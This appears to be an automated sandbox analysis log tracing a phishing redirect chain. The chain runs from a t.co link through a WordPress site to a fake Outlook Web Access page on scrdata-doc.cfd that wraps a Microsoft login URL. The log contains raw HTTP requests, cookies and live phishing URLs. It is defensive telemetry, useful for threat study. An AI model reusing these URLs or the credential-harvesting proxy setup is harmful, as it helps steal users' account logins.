Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: No favicon
Source: https://outlook.office365.com/owa/prefetch.aspx	HTTP Parser: No favicon
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: No favicon
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: No favicon

Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: No <meta name="author".. found
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: No <meta name="author".. found

Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: No <meta name="copyright".. found
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49736 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49736 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz HTTP/1.1Host: click.pstmrk.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRmgZjcGOu_rrEGIjBE_meRxt7SPOsru9FjfLq3eBoEUHFPrZqRg1AUgQUtmWvideuFZN9JTyUEamxFHncyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-04-26-12; NID=513=LquoDskXxVPBEOqjFfuKQRH9qWN-4LiQR4sKZ_g49bdgxRt4Rrv9seg3KURUhmrhWL8JxOK9xsrXQum916ozDWK9F9lyVU7OPvNwrCaTCEmjYXpPloCpIPrCRxZz_Kc44H7xzJcsqkX6k84MY75Il2UheNPilj1KrdsQwQgJjFY
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRmgZjcGOu_rrEGIjD8bANg-u1odBRI1x6aBEwDQgk5ys0fjh5xTOiYms3kNqX5NcRWLHJbTR3PYwG9_4QyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-04-26-12; NID=513=Ox8CUoYrpWrVK4pjCP3Fe2YwpglMJo9LsxSQF4ZpfuoH2iARmH6ien5vIPOgTz-2jQDHYQLws41ErsHi2ajKnU1Ix2u9TE43pn_xulndP7xHkGY510lF1XMHRy46gxGIMgX8bZdGzkzptLTO1xzy79jrzupNGV3cRRpsZs6aD7Y
Source: global traffic	HTTP traffic detected: GET /RieqFTtqmt HTTP/1.1Host: t.coConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/OxZU0e8fGTHt7NTfrafq/ HTTP/1.1Host: wordpressprofissional.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://t.co/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=20948110 HTTP/1.1Host: wordpressprofissional.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/OxZU0e8fGTHt7NTfrafq/ HTTP/1.1Host: wordpressprofissional.com.brConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wssplashuid=6659db0178d4daefcbafa233ed51839a618c3066.1714138630.1
Source: global traffic	HTTP traffic detected: GET /?hjhmxbor&qrc= HTTP/1.1Host: secur-doc.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://wordpressprofissional.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovLzZrbnZlamp1emgzLnNjcmRhdGEtZG9jLmNmZCIsImRvbWFpbiI6IjZrbnZlamp1emgzLnNjcmRhdGEtZG9jLmNmZCIsImtleSI6IkN3c1d6a3dnYXBZZiIsInFyYyI6bnVsbCwiaWF0IjoxNzE0MTM1MDMzLCJleHAiOjE3MTQxMzUxNTN9.qcOufJnjfVRYE2Tpi0m8JV6q2CnOoq4QI4Gicn0DQ-g HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://wordpressprofissional.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://wordpressprofissional.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4
Source: global traffic	HTTP traffic detected: GET /owa/ HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://wordpressprofissional.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4
